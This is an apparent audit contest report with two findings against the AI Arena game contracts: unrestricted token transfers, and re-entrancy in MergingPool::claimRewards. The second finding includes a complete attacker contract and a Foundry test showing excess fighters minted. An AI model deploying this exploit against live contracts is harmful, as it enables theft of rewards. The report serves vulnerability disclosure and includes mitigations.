AI Arena - rouhsamad's results

Lines of code

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L159 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC1155/ERC1155.sol#L120

Vulnerability details

Vulnerability details

safeBatchTransferFrom(address,address,uint256[],uint256[],bytes) function of GameItems contract and safeTransferFrom(address,address,uint,bytes) of FighterFarm contract are not overrided which allows an address to transfer their items and fighters freely without checking any conditions

Impact

This issue allows users to transfer their Fighters to another address when they are already staked, and also allows them to hold more fighters than MAX_FIGHTERS_ALLOWED. It also allows GameItem holders to transfer their items even if they are not transferable

Proof of Concept

Add this test to "test/MergingPool.t.sol":

function testTransferMoreThanMax() public {
    address user = makeAddr("user");
    address user2 = makeAddr("user");

    //@audit-info mint 10 tokens for the user
    for (uint i; i < 10; i++) {
        _mintFromMergingPool(address(user));
    }

    //@audit-info transfer NFTs out to another user
    vm.startPrank(user);
    for (uint i; i < 10; i++) {
        _fighterFarmContract.safeTransferFrom(user, user2, i, "");
    }
    vm.stopPrank();

    //@audit-info mint another 10 tokens for the user
    for (uint i; i < 10; i++) {
        _mintFromMergingPool(address(user));
    }

    //@audit-info transfer NFTs out to another user
    vm.startPrank(user);
    for (uint i = 10; i < 20; i++) {
        _fighterFarmContract.safeTransferFrom(user, user2, i, "");
    }
    vm.stopPrank();
    
    //@audit
    assertEq(_fighterFarmContract.balanceOf(user2), 20);
}

and then run: forge test --match-path test/MergingPool.t.sol --match-test testTransferMoreThanMax -vvvv --via-ir

Tools Used

• Manual review

Recommended Mitigation Steps

I would suggest to override _beforeTokenTransfer function of FighterFarm and GameItems instead of overriding all the transfer functions.

FighterFarm::_beforeTokenTransfer:

function _beforeTokenTransfer(
    address from,
    address to,
    uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
    _ableToTransfer(to, tokenId);
    super._beforeTokenTransfer(from, to, tokenId);
}

GameItems::_beforeTokenTransfer:

function _beforeTokenTransfer(
    address operator,
    address from,
    address to,
    uint256[] memory ids,
    uint256[] memory amounts,
    bytes memory data
) internal override {
   for(uint i; i < ids.length; i++){
       require(allGameItemAttributes[ids[i]].transferable);
   }
}

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L154-L159 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L529

Vulnerability details

Vulnerability Details

The MergingPool::claimRewards function is vulnerable to re-entrancy attacks. This vulnerability allows a malicious winner to claim an excessive number of fighters by exploiting the interactions between the following contracts and functions:

• MergingPool::claimRewards (Lacks re-entrancy guard)
• FighterFarm::mintFromMergingPool (Lacks re-entrancy guard)
• FighterFarm::_createNewFighter which calls onERC721Received of NFT receiver using _safeMint
• Attacker Contract's onERC721Received which Implements the re-entry point

Scenario: lets assume that winner won 5 rounds in a row

• 1- Winner (which is a contract) calls MergingPool::claimRewards to receive fighters.
• 2- in MergingPool::claimRewards a for-loop starts, claiming rewards of winner by calling FighterFarm::mintFromMergingPool, starting from numRoundsClaimed[winner] upto current round [0 - 5)
• 3- FighterFarm::mintFromMergingPool calls the internal function _createNewFighter
• 4- _createNewFighter calls _safeMint to mint tokens to receiver (to)
• 5- since to is a contract, onERC721Receiver function of to is called
• 6- The attacker's (to) onERC721Received function re-enters MergingPool::claimRewards
• 7- since numRoundsClaimed of attacker was increased by one in the previous call, a new for-loop starts, claiming user rewards within range [1 - 5)
• 8- starting from step (1) again, when reaching step (7), a new for-loop starts again, claiming user rewards within range [number_of_reenters, 5)

Impact

• Attacker receives more tokens than intended, for example, if attacker won 5 rounds, its possible to mint 5 + 4 + 3 + 2 + 1 fighters.

Proof of Concept

First, create a contract named "Attacker.sol" in "test/" folder:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console, stdError} from "forge-std/Test.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {MergingPool} from "../src/MergingPool.sol";
import {FighterFarm} from "../src/FighterFarm.sol";

contract Attacker is Ownable, ERC721Holder {
    MergingPool immutable mergingPool;
    FighterFarm immutable ff;
    string[] modelURIs;
    string[] modelTypes;
    uint256[2][] customAttributes;

    constructor(MergingPool _mergingPool, FighterFarm _ff) {
        mergingPool = _mergingPool;
        ff = _ff;

        //@audit-info creating modelURI, modelTypes and CostumeAttributes
        //@audit-info we are going to cover all the NFTs that we are going to claim so we need
        //to initialize all of them here
        string[] memory _modelURIs = new string[](5);
        //types
        string[] memory _modelTypes = new string[](5);

        //attributes
        uint256[2][] memory _customAttributes = new uint256[2][](5);

        //@audit-info just some dummy data
        for (uint i; i < 5; i++) {
            _modelURIs[
                i
            ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
            _modelTypes[i] = "original";
            _customAttributes[i][0] = uint256(1);
            _customAttributes[i][1] = uint256(1);
        }

        modelURIs = _modelURIs;
        modelTypes = _modelTypes;
        customAttributes = _customAttributes;
    }

    //@audit-info start the attack from here
    function Attack() public onlyOwner {
        mergingPool.claimRewards(modelURIs, modelTypes, customAttributes);
    }

    //@audit-info withdraw tokens from this contract to hacker
    function withdrawFighters() public onlyOwner {
        //@audit-info for simplicity, we know that in our test cases token ids from 0 - 16 belongs to this contract
        uint balance = ff.balanceOf(address(this));
        for (uint i; i < balance; i++) {
            ff.transferFrom(
                address(this),
                owner(),
                i
            );
        }
    }

    //@audit-info when called by FighterFarm, reenter merging pool
    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) public virtual override returns (bytes4) {
        //@audit-info reenter merging pool
        if (ff.balanceOf(address(this)) < 15) {
            mergingPool.claimRewards(modelURIs, modelTypes, customAttributes);
        }
        return this.onERC721Received.selector;
    }
}

/**
 * Attacker => MergingPool => FighterFarm => Attacker => MergingPool => FighterFarm
 */

Then copy and paste this test in test/MergingPool.t.sol

//@audit-info testing claim reentrancy
function testClaimRewardsAndReenter() public {
    //@audit-info for simplicity, only one winner per round
    _mergingPoolContract.updateWinnersPerPeriod(1);

    //@audit-info deploy attacker
    address hacker = makeAddr("Hacker");
    vm.startPrank(hacker);
    attacker = new Attacker(_mergingPoolContract, _fighterFarmContract);
    vm.stopPrank();

    //@audit-info attacker claims one fighter to be able to play and be picked as a winner
    _mintFromMergingPool(address(attacker));

    //@audit-info assuming that attacker won 5 rounds in a row
    //this means that attacker must be able to claim only 5 NFTs
    uint256[] memory _winners = new uint256[](1);
    _winners[0] = 0;
    for (uint i = 0; i < 5; i++) {
        _mergingPoolContract.pickWinner(_winners);
    }

    //@audit-info start the attack
    /**
     * 1- Attack() function calls mergingPool::claimRewards
     * 2- mergingPool calls fighterFarm::mintFromMergingPool
     * 3- FighterFarm calls onERC721Received function of receiver (attacker contract)
     * 4- attacker contract calls mergingPool::claimRewards again
     */
    uint b0 = _fighterFarmContract.balanceOf(hacker);
    vm.startPrank(hacker);
    attacker.Attack();
    //@audit-info withdraw tokens from attacker contract to hacker
    attacker.withdrawFighters();
    vm.stopPrank();
    uint b1 = _fighterFarmContract.balanceOf(hacker);

    //@audit-info instead of receiving 5 tokens, we received 16
    //@audit-info note that we are only allowed to keep 10 tokens (MAX_FIGHTERS_ALLOWED), but hacker can
    //design attacker contract in a way to transfer its tokens to another address as soon as reaching 10 tokens
    assertEq(b1 - b0, 16);
}

Finally change FighterFarm::MAX_FIGHTERS_ALLOWED to 20, this is just for simplicity, this way we don't need to make Attacker.sol contract more complex (for sake of this test). (its possible to perform this attack if FighterFarm::MAX_FIGHTERS_ALLOWED is set to the default value (10), but we need to set additional checks in Attacker.sol e.g. sending NFTs out as soon as they reach 10 when performing the attack)

and then run: forge test --match-path test/MergingPool.t.sol --match-test testClaimRewardsAndReenter -vv --via-ir

Tools Used

• Manual review
• Forge testing

Recommended Mitigation Steps

Make MergingPool::claimRewards non-reentrant

Assessed type

Reentrancy